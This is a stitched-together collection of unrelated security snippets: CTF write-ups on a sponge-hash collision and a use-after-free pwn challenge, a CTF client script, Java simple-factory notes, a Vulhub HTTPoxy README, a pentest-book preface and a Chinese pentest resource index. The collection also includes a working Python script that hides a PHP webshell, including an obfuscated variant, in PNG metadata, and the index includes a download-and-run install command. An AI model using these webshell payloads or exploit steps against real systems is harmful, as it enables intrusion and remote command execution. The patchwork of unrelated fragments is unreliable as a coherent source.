# sponge (crypto, 200) > I've written a hash function. Come up with a string that collides with "I love > using sponges for crypto". The hash function we were given in this task, was simply xoring the 16-byte state with 10-byte input block, and then encrypting with AES. If the blocks were 16-byte, the collision would be trivial to find, as we know the AES key: ``` result = state2 = AES(block1 xor AES(block0 xor state0)) = AES(block1 xor AES(block0)) AESd(result) = block1 xor AES(block0) block1 = AESd(result) xor AES(block0) ``` So, we would be able to choose any `block0` other than original, and xor it with AES-decrypted final state to get needed block1 for collision. Unfortunately, the blocks were 10-byte long, which meant we did not control the top 6 bytes supplied to the AES. While the attack above would still work in some cases, we would have to calculate approximately `2**48` AES en- or decryptions. This is not unreasonable, but we would probably run out of time during the CTF anyway. So, we wrote the state of the hash after three blocks: (`a`, `b` and `c` are first three blocks, `D` is the final state) ``` AES(AES(a) xor b) xor c = D AES(AES(a) xor b) = D xor c AES(a) xor b = AESd( D xor c ) b = AESd( D xor c ) xor AES(a) ``` So the middle block is a xor of two pseudorandom values. We control most of `a` and `c`, so we can generate a lot of values of `AESd(D xor c)` and `AES(a)`. If they somehow end up with the same last 6 bytes, their xor with have 6 zeroes at the end, so we will find colliding `b`. Naive random generation of `c` and `a` would still take too long (no speed improvement in fact), but we can use *meet in the middle* technique. We precalculate `2**24` values of `AESd(D xor c)` and remember them in an efficient data structure, such as hashmap, and then proceed to randomly genrating `AES(a)`, checking for each value (in constant time!) if there is any corresponding element in the map that ends with the same 6 bytes. This takes reasonable amount of time (although implemented in Python, only around a minute or so). Finally, we paste together `a`, `b`, `c` and `'o'` (the last character of the original text) to get a final collision to submit.
sec-knowleage
from pwn import * import hexdump import string import os import json #data = string.letters[:51] * 100000 data = os.urandom(100000) data = "a" * 15 + data[15:] data = data[:25 * 3] def take(s, n): return s[:n], s[n:] def takedd(s): x, s = take(s, 4) return struct.unpack("<I", x)[0], s def recurse(s): b, s = take(s, 1) b = ord(b) print hex(b) r = [] if b == 0xf: for i in range(4): rx, s = recurse(s) r.append(rx) elif b == 0: col, s = take(s, 3) col = [ord(c) for c in col] return col, s else: col, s = take(s, 3) col = [ord(c) for c in col] for i in range(4): if b & (1<<i): rx, s = recurse(s) r.append(rx) else: r.append(col) return r, s def drawx(im, r, depth, x, y): sz = im.size[0] / 2**depth if len(r) == 3: for xx in range(x, x + sz): for yy in range(y, y + sz): im.putpixel((xx, yy), tuple(r)) else: drawx(im, r[0], depth + 1, x, y) drawx(im, r[1], depth + 1, x+sz/2, y) drawx(im, r[2], depth + 1, x, y+sz/2) drawx(im, r[3], depth + 1, x+sz/2, y+sz/2) def draw(w, h, r): sz = 1 while sz < w or sz < h: sz *= 2 im = Image.new("RGB", (sz, sz)) drawx(im, r, 0, 0, 0) im.save("lol.png") from PIL import Image, ImageDraw def parse(s): magic, s = take(s, 4) w, s = takedd(s) h, s = takedd(s) print magic print w print h hexdump.hexdump(s[:300]) r, s = recurse(s) print repr(s) print json.dumps(r, indent = 4) draw(w, h, r) for i in range(2): if i == 1: data = data[:45] + "a" * 15 + data[60:] hexdump.hexdump(data[:25*3]) r = remote("proprietary.ctfcompetition.com", 1337) r.sendline("P6") r.sendline("5 5") r.sendline("255") r.send(data) s = r.recvall() print "len", len(s) parse(s)
sec-knowleage
## 简单工厂(Simple Factory) ### Intent 在创建一个对象时不向客户暴露内部细节,并提供一个创建对象的通用接口。 ### Class Diagram 简单工厂把实例化的操作单独放到一个类中,这个类就成为简单工厂类,让简单工厂类来决定应该用哪个具体子类来实例化。 这样做能把客户类和具体子类的实现解耦,客户类不再需要知道有哪些子类以及应当实例化哪个子类。客户类往往有多个,如果不使用简单工厂,那么所有的客户类都要知道所有子类的细节。而且一旦子类发生改变,例如增加子类,那么所有的客户类都要进行修改。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/40c0c17e-bba6-4493-9857-147c0044a018.png"/> </div><br> ### Implementation ```java public interface Product { } ``` ```java public class ConcreteProduct implements Product { } ``` ```java public class ConcreteProduct1 implements Product { } ``` ```java public class ConcreteProduct2 implements Product { } ``` 以下的 Client 类包含了实例化的代码,这是一种错误的实现。如果在客户类中存在这种实例化代码,就需要考虑将代码放到简单工厂中。 ```java public class Client { public static void main(String[] args) { int type = 1; Product product; if (type == 1) { product = new ConcreteProduct1(); } else if (type == 2) { product = new ConcreteProduct2(); } else { product = new ConcreteProduct(); } // do something with the product } } ``` 以下的 SimpleFactory 是简单工厂实现,它被所有需要进行实例化的客户类调用。 ```java public class SimpleFactory { public Product createProduct(int type) { if (type == 1) { return new ConcreteProduct1(); } else if (type == 2) { return new ConcreteProduct2(); } return new ConcreteProduct(); } } ``` ```java public class Client { public static void main(String[] args) { SimpleFactory simpleFactory = new SimpleFactory(); Product product = simpleFactory.createProduct(1); // do something with the product } } ```
sec-knowleage
# pwn02 (pwn 130p, 37 solved) ## Exploitation 1. Add a book with a short brief The purpose is to create brief that can be enlarged and edited during use-after-free exploitation. 2. Add a best selling book Book to be used as use-after-free victim via `The best selling book today` section of `List` output. 3. Enter use-after-free state by deallocating the best selling book Deallocate the best selling book by removing it *two* times. This is due to details of reference counting implementation. 4. Leak `libc` address by exploiting use-after-free vulnerability Enlarge the brief of first book to reuse the memory chunk of the deallocated best selling book. Leak `libc` address by overwriting brief pointer of the best selling book with location of `.got` entry and executing `List` command. 5. Execute interactive shell by exploiting use-after-free vulnerability Call `system("/bin/sh")` by overwriting brief pointer and the formatter function of the best selling book and executing `List` command. Full exploit is attached [here](exploit.py).
sec-knowleage
# HTTPoxy CGI application vulnerability (CVE-2016-5385) [中文版本(Chinese version)](README.zh-cn.md) httpoxy is a set of vulnerabilities that affect application code running in CGI, or CGI-like environments. It comes down to a simple namespace conflict: - RFC 3875 (CGI) puts the HTTP Proxy header from a request into the environment variables as `HTTP_PROXY` - `HTTP_PROXY` is a popular environment variable used to configure an outgoing proxy This leads to a remotely exploitable vulnerability. See <https://httpoxy.org> for further principles description. CVE-2016-5385 is one of CVEs that assign for HTTPoxy, here are the full CVEs list: - CVE-2016-5385: PHP - CVE-2016-5386: Go - CVE-2016-5387: Apache HTTP Server - CVE-2016-5388: Apache Tomcat - CVE-2016-6286: spiffy-cgi-handlers for CHICKEN - CVE-2016-6287: CHICKEN’s http-client - CVE-2016-1000104: mod_fcgi - CVE-2016-1000105: Nginx cgi script - CVE-2016-1000107: Erlang inets - CVE-2016-1000108: YAWS - CVE-2016-1000109: HHVM FastCGI - CVE-2016-1000110: Python CGIHandler - CVE-2016-1000111: Python Twisted - CVE-2016-1000212: lighttpd ## Vulnerable environment Execute following command to start a Web application depending on PHP 5.6.23 and GuzzleHttp 6.2.0. ``` docker compose up -d ``` This [Web page](www/index.php) get its origin IP address at `http://httpbin.org/get`: ![](1.png) At this moment, hostname IP is equal to original IP, no HTTP proxy. ## Exploit Send a request with a crafted HTTP header that contains a available HTTP proxy address: `Proxy: http://*.*.122.65:8888/`: ![](2.png) It is obvious that the original address in the response has become the IP address of the proxy server. Start a Netcat server at the `*.*.122.65` instead of HTTP proxy, we can capture the original request: ![](3.png)
sec-knowleage
lines = open("602.txt").readlines() def try_parse(data): try: data = data.split() assert len(data[0]) == 2 op = int(data[0], 16) rest = data[1:] return True, op, rest except: return False, "", "" def save(opname, op, args): print opname + "|" + hex(op) + "|" + " ".join(args) for i, line in enumerate(lines): if line == "Opcode:\n": opx = lines[i-1].strip().split()[0] for j in range(i, i+10): data = lines[j].strip() ok, op, args = try_parse(data) if ok: save(opx, op, args) break
sec-knowleage
# 前言 > 译者:[@Snowming](https://github.com/Snowming04) 这是《渗透测试实战》一书的第三版。以下会给出一个基于第二版新增的漏洞和攻击的总结。除了新的内容,本书保留了之前的版本中现今仍然可以用的攻击和技术,这是为了避免让你再去翻以前的书。除了从以前的书里提取的内容,这本书还有什么新的内呢?新的内容包括一些过去几年提出来的新话题: - 利用活动目录 - 利用 Kerberos 协议 - 高级 Web 攻击 - 更好的横向移动方式 - 云计算相关漏洞 - 更快/更高效的密码破解 - Living off the land 技术(意思是入侵者使用系统凭据和合法的软件管理工具访问系统,感染和收集有价值的数据) - 内网漫游攻击 - 多个定制的实验 - 较新的 Web 语言漏洞 - 物理攻击 - 特权升级 - PowerShell 攻击 - 勒索软件攻击 - 红队 VS 渗透测试 - 建立红队基础设施 - 可用的红队指标 - 编写恶意软件和免杀 - 以及更多 此外, 我还试图采纳所有从第一版和第二版书的读者那里收到的评论和建议。我想再次重申, 我不是一个专业作家。我只是喜欢安全并且想要交流安全, 这本书仅仅是我的兴趣项目。我希望你喜欢它。 本书还将更深入地介绍如何搭建一个测试攻击的实验环境, 以及渗透测试的最新技巧和姿势。最后, 我试图使这个版本更容易去实践, 因为许多学校已经把这本书纳入他们的课程。 我尽量添加了实验部分, 来给读者提供测试漏洞或利用漏洞的实践机会。 和其他两本书一样, 我尽量贴近真实的网络环境。我也试图远离理论攻击, 从实际的渗透经验出发。从渗透测试工程师到红队, 我认为这个行业发生了重大的转变。 我想把这种转变展示给你看, 而不是仅仅告诉你为什么有这些转变。正如我之前所说, 我的热情是教导和挑战他人。所以我写这本书有两个目的: 第一, 让读者理解攻击者的思维方式,了解攻击的 "方式"; 第二, 我想让习得学到的工具和技术, 并且扩展他们。阅读和复现实验只是学习任务的一部分。我最想教给你的是——让你的工作为你的才能代言。我真心觉得,如果你想要在安全方面找到工作。想要与其绞尽脑汁的写简历 (当然, 你肯定需要准备一个简历), 还不如你的 Github 有丰富的内容,很多公共 Github 项目或者安全方面有影响力的技术博客。无论你是防御的蓝队成员还是进攻的红色成员,参与安全公共社区,积极分享都是至关重要的。 对于那些没有阅读我以前的两本书的读者, 你可能想了解我的技术背景和经验。我的背景包括超过12年的渗透为主要金融机构、大型公用事业公司、财富500强公司、娱乐公司和政府组织提供安全测试。我也花了多年的时间在大学教攻击性的网络安全, 在多个安全会议上发言,在许多安全出版物中引用, 在全国各地教授的课程, 运行了多个公开的 ctf 比赛, 并开始了我自己的安全学校。我的一大兴趣项目是建立一个自由和开放的位于南加州的安全社区,叫做 LETHAL (meetup.com/lethal)。现在, 拥有800多名会员, 每月举行会议, ctf 比赛, 它已成为一个令人兴奋的环境, 人们在此社区中分享, 学习和成长。 需要提醒读者的是, 在本书中,我同时使用商业工具和开源工具。对于每一个提到的商业工具, 我尽量提供一个对应的开源工具。我以前听到一些渗透测试工程师说他们只使用开源工具。作为一个专业的渗透测试工程师, 我认为这个说法难以接受。如果你试图去模仿一个 "真实世界" 的攻击, 骇客们没有这些限制。因此, 你需要使用任何可以完成任务的工具 (商业或开源)。 我经常被问到的一个问题是, 这本书的目标读者是谁?这本书的精确目标人群真的很难定义,因为我相信任何一个安全行业工作者都可以学习。一些人可能会认为本书对新人不太友好,一些人又会觉得对老手来说太浅显的, 还有一些人甚至认为这本书没有覆盖你的安全研究领域。 我从那些安全行业新手读者那里听到的最常见的反馈是:一般读两道三遍之后会比较能够理解 (确保在两次阅读之间有一个消化的时间)。这本书提供了大量的资料,需要时间去完全消化。所以, 我要说的是放松、好好看, 通过实验和实例, 进行你的尝试,把你的脚本发布到 Github 的公共仓库,并启动一个博客。 最后, 我认为作为一个红队成员,一方面你需要技术实力,但是另一方面你需要有自信。许多社会工程练习都要求你克服你的紧张, 走出你的舒适区。知道鸭子定律吗?如果一个东西看起来像鸭子,游泳像鸭子,叫声像鸭子,那么它可能就是只鸭子。大卫·莱特曼也说过, “假装不害怕和真正不畏惧的外部效果是一样的”。有时你只需要有信心, 大胆去做,无需顾虑太多。 ## 提示和免责声明 我必须再重申一遍: 务必不要做未授权测试!不要未经授权在真实网络环境中复现任何本书中描述的攻击。即使是出于好奇而不是恶意,你仍然会因未授权测试行为而陷入很多麻烦。为了个人能更好的继续学习发展,有很多漏洞奖励计划和靶场可以供你学习试验,但是请记住,即使是参加漏洞奖励计划,私自测试范围外的网站或对网站进行深入破坏也会让你有大麻烦。下面就是一些前车之鉴供你参考: - https://www.forbes.com/sites/thomasbrewster/2015/12/17/facebook-instagram-security-research-threats/#1d2a0f062fb5 - https://nakedsecurity.sophos.com/2012/02/20/jail-facebook-ethical-hacker/ - https://www.cyberscoop.com/dji-bug-bounty-drone-technology-sean-melia-kevin-finisterre/ 如果你感觉你的某个渗透行为可能不太合适,很可能你的确违反了一些网络安全法律法规,你必须请教专业律师或者联系[电子前沿基金会](https://www.eff.org/pages/legal-assistance)。 研究和非法活动之间有细微差别。记住, 只有测试那些你有书面授权的系统。现在就谷歌一下术语 "黑客入狱"!你会看到很多不同的例子, 其中青少年仅仅为了取乐而被判处多年监禁。有很多免费的平台, 在上面合法黑客行为是允许的, 并且你可以在这些平台上获得进一步的教育。 最后我想说, 我并不是 Windows系统、编码、编写 exp 或是 Linux 系统方面的专家。如果我对特定的技术、工具或过程说错了, 我会确保在[本书的更新网页](http://thehackerplaybook.com/updates/)上做更新。另外, 本书的很多内容都依赖于其他人的研究, 我尽量提供链接。同样的,如果我遗漏了任何一个这种链接,我也会在网站上就这些信息进行持续的而更新。我们有这样的一个令人敬畏的社区, 我想确保社区里的每个人都因为他们的贡献得到承认!
sec-knowleage
from __future__ import print_function from PIL import Image # Shellcodes - Bypass included : Keyword Recognition : System, GET, php # --- How to use : http://localhost/shell.php?c=echo%20'<pre>';ls #shellcode = "<?=@`$_GET[c]`;" shellcode = "<?php system($_GET['c']); ?>" # --- How to use : http://localhost/shell.php?_=system&__=echo%20'<pre>';ls shellcode2 = "<?='Sh3ll'; $_='{';$_=($_^'<').($_^'>;').($_^'/');?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>" print("\n[+] Advanced Upload - Shell inside metadatas of a PNG file") # Create a backdoored PNG print(" - Creating a payload.png") im = Image.new("RGB", (10,10), "Black") im.info["shell"] = shellcode reserved = ('interlace', 'gamma', 'dpi', 'transparency', 'aspect') # undocumented class from PIL import PngImagePlugin meta = PngImagePlugin.PngInfo() # copy metadata into new object for k,v in im.info.items(): if k in reserved: continue meta.add_text(k, v, 0) im.save("payload.png", "PNG", pnginfo=meta) print("Done")
sec-knowleage
# Power-PenTest <p align="center"> <a href="https://www.iqiyi.com/v_19rrjaajp0.html"><img src="../../assets/img/banner/Power-PenTest.jpg"></a> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **[安全资源](#安全资源)** * [Document](#document) * [靶机](#靶机) * [VulnHub](#vulnHub) * [HTB](#htb) * [Misc](#misc) * [思维简图](#思维简图) * [漏洞库](#漏洞库) * [报告资源](#报告资源) * [认证资质](#认证资质) * [CISP-PTE](#cisp-pte) * [OSCP](#oscp) * [OSCE](#osce) * [Security+](#security+) * [PenTest+](#penTest+) * [SRC-众测收集](#src-众测收集) * **[安全工具](#安全工具)** * [工具资源](#工具资源) * [渗透套件](#渗透套件) * [抓包工具](#抓包工具) * **[CTF](#ctf)** * [大型赛事Writeup](./CTF/CTF.md#大型赛事Writeup) * **[Crypto](#crypto)** * [常见编码](./Crypto/Crypto.md#常见编码) * [现代密码](./Crypto/Crypto.md#现代密码) * [古典密码](./Crypto/Crypto.md#古典密码) * [其他编码](./Crypto/Crypto.md#其他编码) * **[Misc](#misc)** * [钓鱼社工](#钓鱼社工) * [Email钓鱼](#email钓鱼) * [office钓鱼](#office钓鱼) * [爆破](#爆破) * [字典](#字典) * [Hash爆破](#hash爆破) * [Web爆破](#web爆破) * [端口爆破](#端口爆破) * [文件爆破](#文件爆破) * **[BlueTeam](#blueteam)** * [事件响应](#事件响应) * [取证](#取证) * [应急](#应急) * [安全建设](#安全建设) * **[RedTeam](#redteam)** * [环境部署](#环境部署) * [信息收集](#信息收集) * [LAN-WAN](#lan-wan) * [MITM](#mitm) * [L2](#l2) * [L3](#l3) * [L4+](#l4) * [DOS](#dos) * [OS安全](#os安全) * [Linux](#linux) * [Windows](#windows) * [Web安全](#web安全) * [前端攻防](#前端攻防) * [BS-Exploits](#bs-exploits) * [Web_Generic](#web_generic) * [IDOR](#idor) * [Web_Tricks](#web_tricks) * [HTTP_request_smuggling](#HTTP_request_smuggling) * [JWT安全](#jwt安全) * [OOB](#oob) * [绕过访问](#绕过访问) * [安防设备](#安防设备) * [后渗透](#后渗透) * [云安全](#云安全) * [软件服务安全](#软件服务安全) * [协议安全](#协议安全) * [语言安全](#语言安全) * **[ICS](#ics)** * [工控协议](#工控协议) * [工控流量](#工控流量) * [PLC攻击](#plc攻击) * **[IoT](#iot)** * [无线电安全](#无线电安全) * [Bluetooth](#bluetooth) * [RFID](#rfid) * [wifi](#wifi) * [硬件安全](#硬件安全) * [HID](#hid) * [固件安全](#固件安全) * [IIOT](#iiot) * [CAN](#can) * **[MobileSec](#mobilesec)** * [Android](#android) * [IOS](#ios) * [小程序安全](#小程序安全) --- ## 安全资源 ### 笔记/技巧分享 - [pen4uin/awesome-pentest-note](https://github.com/pen4uin/awesome-pentest-note) - 渗透测试☞经验/思路/总结/想法/笔记 - [ffffffff0x/Pentest101](https://github.com/ffffffff0x/Pentest101) - 每周分享一些关于渗透测试的知识点 - [RedBlue 攻防知识库](https://redblue.wiki/#/page/RedBlue%20%E6%94%BB%E9%98%B2%E7%9F%A5%E8%AF%86%E5%BA%93) - [damit5个人知识库](http://blog.gm7.org/) ### Document - [FeeiCN/Security-PPT](https://github.com/FeeiCN/Security-PPT) - 大安全各领域各公司各会议分享的 PPT - [knownsec/KCon](https://github.com/knownsec/KCon) - 历届 KCon 文档合集 - [lovesec/2017-Security-ppt](https://github.com/lovesec/2017-Security-ppt) - 17年安全会议对外公开的PPT - [EvilAnne/Violation_Pnetest](https://github.com/EvilAnne/Violation_Pnetest) - 渗透红线 Checklist --- ### 靶机 **在线** - [OverTheWire: Wargames](https://overthewire.org/wargames/) - [TryHackMe | Hacking Training](https://tryhackme.com/) #### VulnHub > VulnHub 是一个面向所有人开放的安全靶场,有很多安全环境,只要下载相关镜像,在相关虚拟机上面运行就可以练习相关靶场。 地址 : https://www.vulnhub.com/ - DC Serial - DC 系列靶场,难度简单至中等,推荐初学者挑战 - [DC1-WalkThrough](./安全资源/靶机/VulnHub/DC/DC1-WalkThrough.md) - 知识点 : drupal 漏洞利用、Linux 提权、hashcat 跑密码、drush 使用 - [DC2-WalkThrough](./安全资源/靶机/VulnHub/DC/DC2-WalkThrough.md) - 知识点 : 字典生成工具 cewl、wpscan、rbash 逃逸、git 提权 - [DC3-WalkThrough](./安全资源/靶机/VulnHub/DC/DC3-WalkThrough.md) - 知识点 : Joomla SQL 注入、john 跑 hash、web 命令执行、CVE-2016-4557 提权 - [DC4-WalkThrough](./安全资源/靶机/VulnHub/DC/DC4-WalkThrough.md) - 知识点 : web 登录爆破、web 命令执行、反弹 shell、SSH 爆破、linux 提权 - [DC5-WalkThrough](./安全资源/靶机/VulnHub/DC/DC5-WalkThrough.md) - 知识点 : Get 参数 Fuzz、LFI、日志中毒攻击、screen 4.5.0 提权 - [DC6-WalkThrough](./安全资源/靶机/VulnHub/DC/DC6-WalkThrough.md) - 知识点 : worpress 插件漏洞利用、利用 nmap 提权 - [DC7-WalkThrough](./安全资源/靶机/VulnHub/DC/DC7-WalkThrough.md) - 知识点 : php 弹 shell、通过定时任务提权 - [DC8-WalkThrough](./安全资源/靶机/VulnHub/DC/DC8-WalkThrough.md) - 知识点 : exim4 提权 - [DC9-WalkThrough](./安全资源/靶机/VulnHub/DC/DC9-WalkThrough.md) - 知识点 : knock 服务 - It’s_October - [It’s_October1-WalkThrough](./安全资源/靶机/VulnHub/It’s_October/It’s_October1-WalkThrough) - 知识点 : october 模板注入、写 ssh 密钥 - Kioptrix Serial - Kioptrix 系列靶场,难度简单至中等,推荐初学者挑战 - [Kioptrix2-WalkThrough](./安全资源/靶机/VulnHub/Kioptrix/Kioptrix2-WalkThrough.md) - 知识点: SQL 注入、命令执行、CVE-2009-2698 - [Kioptrix3-WalkThrough](./安全资源/靶机/VulnHub/Kioptrix/Kioptrix3-WalkThrough.md) - 知识点: SQL 注入、ht 提权 - [Kioptrix4-WalkThrough](./安全资源/靶机/VulnHub/Kioptrix/Kioptrix4-WalkThrough.md) - 知识点: SQL 注入、mysql udf 提权 - [Kioptrix5-WalkThrough](./安全资源/靶机/VulnHub/Kioptrix/Kioptrix5-WalkThrough.md) - 知识点: LFI、自定义 User-agent、phptax 漏洞利用、freebsd 提权 - Mission-Pumpkin - 难度适中,偏向于加解密比较多,漏洞利用内容较少 - [PumpkinGarden-WalkThrough](./安全资源/靶机/VulnHub/Mission-Pumpkin/PumpkinGarden-WalkThrough.md) - [PumpkinRaising-WalkThrough](./安全资源/靶机/VulnHub/Mission-Pumpkin/PumpkinRaising-WalkThrough.md) - 知识点: 字符加解密、流量分析、GPG爆破、rbash逃逸、图片隐写 - [PumpkinFestival-WalkThrough](./安全资源/靶机/VulnHub/Mission-Pumpkin/PumpkinFestival-WalkThrough.md) - 知识点: 字符加解密、ssh密钥使用、wpscan - symfonos Serial - 稍有难度的靶场,内容丰富,难度中等,推荐有一定经验者挑战 - [symfonos1-WalkThrough](./安全资源/靶机/VulnHub/symfonos/symfonos1-WalkThrough.md) - 知识点: smb 信息探测、wordpress 插件 LFI 漏洞、SMTP 日志投毒 - [symfonos2-WalkThrough](./安全资源/靶机/VulnHub/symfonos/symfonos2-WalkThrough.md) - 知识点: smb 信息探测、CVE-2015-3306、CVE-2018-20434、shadow 密码爆破 - [symfonos3-WalkThrough](./安全资源/靶机/VulnHub/symfonos/symfonos3-WalkThrough.md) - 知识点: 多级目录爆破、pspy、横向提权、tcpdump 抓包分析 - [symfonos5-WalkThrough](./安全资源/靶机/VulnHub/symfonos/symfonos5-WalkThrough.md) - 知识点: ssrf、ldap、dpkg 提权 #### HTB - 暂定 #### Wargames - [Bandit](./安全资源/靶机/Wargames/Bandit/Bandit-WalkThrough.md) #### Misc - [MyKings/docker-vulnerability-environment](https://github.com/MyKings/docker-vulnerability-environment) - [vulhub/vulhub](https://github.com/vulhub/vulhub) - Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行一条命令即可编译、运行一个完整的漏洞靶场镜像。 ``` wget -O f8x https://f8x.io/ bash f8x -vulhub ``` - [Medicean/VulApps](https://github.com/Medicean/VulApps) - 快速搭建各种漏洞环境(Various vulnerability environment) - [fofapro/vulfocus](https://github.com/fofapro/vulfocus) - Vulfocus 是一个漏洞集成平台,将漏洞环境 docker 镜像,放入即可使用,开箱即用。 - [c0ny1/vulstudy](https://github.com/c0ny1/vulstudy) - 使用docker快速搭建各大漏洞靶场,目前可以一键搭建17个靶场。 --- ### 思维简图 - [phith0n/Mind-Map: 各种安全相关思维导图整理收集](https://github.com/phith0n/Mind-Map) - [SecWiki/sec-chart: 安全思维导图集合](https://github.com/SecWiki/sec-chart) - [corkami/pics](https://github.com/corkami/pics) - 很多二进制相关的图片 --- ### 漏洞库 **漏洞查询** - [Vulmon](https://vulmon.com/) - [SecurityFocus](https://www.securityfocus.com/) - [国家信息安全漏洞库](http://www.cnnvd.org.cn/) - [知道创宇 Seebug 漏洞平台](https://www.seebug.org/) - [💀 Sploitus](https://sploitus.com/) - [NVD](https://nvd.nist.gov/) - [全球最新漏洞库](https://www.anquanke.com/vul?page=1) - [CVE - Common Vulnerabilities and Exposures (CVE)](https://cve.mitre.org/index.html) - [CVSS v3.0 Specification Document](https://www.first.org/cvss/specification-document) - [CWE - Common Weakness Enumeration](http://cwe.mitre.org/index.html) - [ICS-CERT Advisories | ICS-CERT](https://ics-cert.us-cert.gov/advisories) - [cvedetails](https://www.cvedetails.com/) - [snyk Vulnerability DB](https://snyk.io/vuln) **POC/EXP/Payload** - [Exploits Database by Offensive Security](https://www.exploit-db.com/) - searchsploit : Exploit-DB 的命令行搜索工具,Kali 自带 - https://github.com/bilbomal/BB-Tips - https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/ - https://github.com/cckuailong/PocCollect - https://github.com/hanc00l/some_pocsuite - https://github.com/swisskyrepo/PayloadsAllTheThings - https://github.com/WangYihang/Exploit-Framework - https://github.com/Spacial/csirt/blob/master/CVEsPoCs.md - https://github.com/nanshihui/PocCollect - https://github.com/BaizeSec/bylibrary - https://github.com/rootphantomer/exp - https://www.vulnerability-lab.com/ - https://cxsecurity.com/ - https://github.com/nomi-sec/PoC-in-GitHub - http://www.expku.com/ - https://cpr-zero.checkpoint.com/ - https://github.com/foospidy/payloads --- ### 报告资源 - [public-pentesting-reports](https://bowen.navisec.it/public-pentesting-reports/) - [PWKv1-REPORT](https://www.offensive-security.com/pwk-online/PWKv1-REPORT.doc) - [PWK-Example-Report-v1](https://www.offensive-security.com/pwk-online/PWK-Example-Report-v1.pdf) - [0x727/BugRepoter_0x727](https://github.com/0x727/BugRepoter_0x727) - 自动化编写报告平台 --- ### 认证资质 #### CISP **CISP-PTE** > 注册信息安全专业人员-渗透测试,英文为 Certified Information Security Professional - Penetration Test Engineer ,简称 CISP-PTE。证书持有人员主要从事信息安全技术领域网站渗透测试工作,具有规划测试方案、编写项目测试计划、编写测试用例、测试报告的基本知识和能力。 > 全程差不多2W人民币,且 WEB 方向居多(2019年是这样的,之后不清楚) - **相关资源** - https://blog.zeddyu.info/2019/03/21/CISP-PTE%E8%80%83%E8%AF%95%E5%88%86%E4%BA%AB/#%E5%8D%95%E9%80%89%E9%A2%98 - https://zgao.top/cisp-pte-%E6%B3%A8%E5%86%8C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B7%A5%E7%A8%8B%E5%B8%88%E8%80%83%E8%AF%95-%E6%80%BB%E7%BB%93%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/ **CISP** > 注册信息安全专业人员(Certified Information Security Profeddtional,CISP)是中国信息安全测评中心应国家信息安全保障工作之需,推出的一项提高我国信息安全从业人员素质的专业人才培训认证服务。经过近10年发展,CISP已经成为信息安全专业人员进行资质评定的权威品牌。 > 培训+考试全程差不多12K **CISP-PTS** > 注册信息安全专业人员-渗透测试专家,英文为 Certified Information Security Professional - Penetration Testing Specialist ,简称 CISP-PTS。证书持有人员主要从事漏洞研究、代码分析工作,具备对多种攻击方式的技术方法较全面掌握、对最新网络安全动态跟踪研究以及策划解决方案能力。 **CISP-IRE** > 注册信息安全专业人员-应急响应工程师,英文为 Certified Information Security Professional - Incident Response Engineer ,简称 CISP-IRE。证书持有人员主要从事信息安全技术领域应急响应工作,具有了解应急响应概况、应急响应基础、应急响应事件监测、应急响应事件分析和处置的基本知识和能力。 **CISP-A** > 信息安全系统审计师(ChinaCertified Information System Auditor)是由中国信息安全测评中心根据中央编办授权,于 2016 年推出的国家注册信息系统审计师认证制度。 > 培训+考试全程差不多1W --- #### OSCP `CP 更侧重“渗透测试”` **案例/经验分享** - [OSCP经验分享](https://xz.aliyun.com/t/1587) - [OSCP学习经验分享](https://www.freebuf.com/articles/neopoints/221948.html) **资源** - [pythonmaster41/Go-For-OSCP](https://github.com/pythonmaster41/Go-For-OSCP) - oscp脚本poc、技术清单 - [areyou1or0/OSCP](https://github.com/areyou1or0/OSCP) - OSCP备考笔记 - [Ondrik8/OSCP_note](https://github.com/Ondrik8/OSCP_note) - 一些脚本、技巧收集 - [0x4D31/awesome-oscp](https://github.com/0x4D31/awesome-oscp) - 优秀的OSCP资源精选清单 - [total-oscp-guide](https://sushant747.gitbooks.io/total-oscp-guide/content/) - oscp知识收集 - [xuanhusec/OscpStudyGroup](https://github.com/xuanhusec/OscpStudyGroup) --- #### OSCE `CE 更侧重“漏洞挖掘”` **案例/经验分享** - [中文首发丨OSCE(Offensive Security Certified Expert)考证全攻略](https://www.freebuf.com/news/206041.html) **资源** - [ihack4falafel/OSCE](https://github.com/ihack4falafel/OSCE) - [dhn/OSCE](https://github.com/dhn/OSCE) - [73696e65/windows-exploits](https://github.com/73696e65/windows-exploits) - [areyou1or0/OSCE-Exploit-Development](https://github.com/areyou1or0/OSCE-Exploit-Development) --- #### Security+ > Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会 CompTIA;是和 CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和 CISSP 偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作,Security+ 认证考试包括选择题和实践题 (要求你在模拟环境下进行实践)。通过该认证证明具备网络安全、合规性和操作安全、威胁和漏洞、应用程序、数据和主机安全、访问控制和身份管理以及加密技术等方面的能力。 > CompTIA 颁发的认证,各种带 `+` 的认证都出自这个协会. **题库** - http://comptiaexamtest.com/Security+SY0-401/ --- #### PenTest+ **相关文章** - [中文首发|CompTIA PenTest+ 考证必看指南](https://www.freebuf.com/column/225710.html) **题库** - https://comptiaexamtest.com/PenTest+PT0-001/ --- ### SRC-众测收集 **Open For Signup** - [HackerOne](https://www.hackerone.com/) - [Bugcrowd](https://www.bugcrowd.com/) - [BountyFactory](https://bountyfactory.io/en/index.html) - [intigriti](https://www.intigriti.com/public/) - [BugBounty.jp](https://bugbounty.jp/) - [SafeHats](https://safehats.com/) - [HackenProof](https://hackenproof.com/) - [Zero Day Initiative | Home](https://www.zerodayinitiative.com/) - [Open Bug Bounty | Free Bug Bounty Program & Coordinated Vulnerability Disclosure](https://www.openbugbounty.org/) - [ZERODIUM - The Premium Exploit Acquisition Platform](https://zerodium.com/) - [HITCON ZeroDay](https://zeroday.hitcon.org/) **Invite based Platforms** - [Synack](https://www.synack.com/red-team/) - [Cobalt](https://cobalt.io/) - [Zerocopter](https://www.zerocopter.com/) - [Yogosha](https://yogosha.com/) - [Bugbountyzone](https://www.bugbountyzonecom/) - [Antihack.me](https://www.antihack.me/) - [Vulnscope](https://www.vulnscope.com/) **国内通用** - [先知](https://xianzhi.aliyun.com/) - [漏洞盒子](https://www.vulbox.com/) - [补天](https://www.butian.net/) - 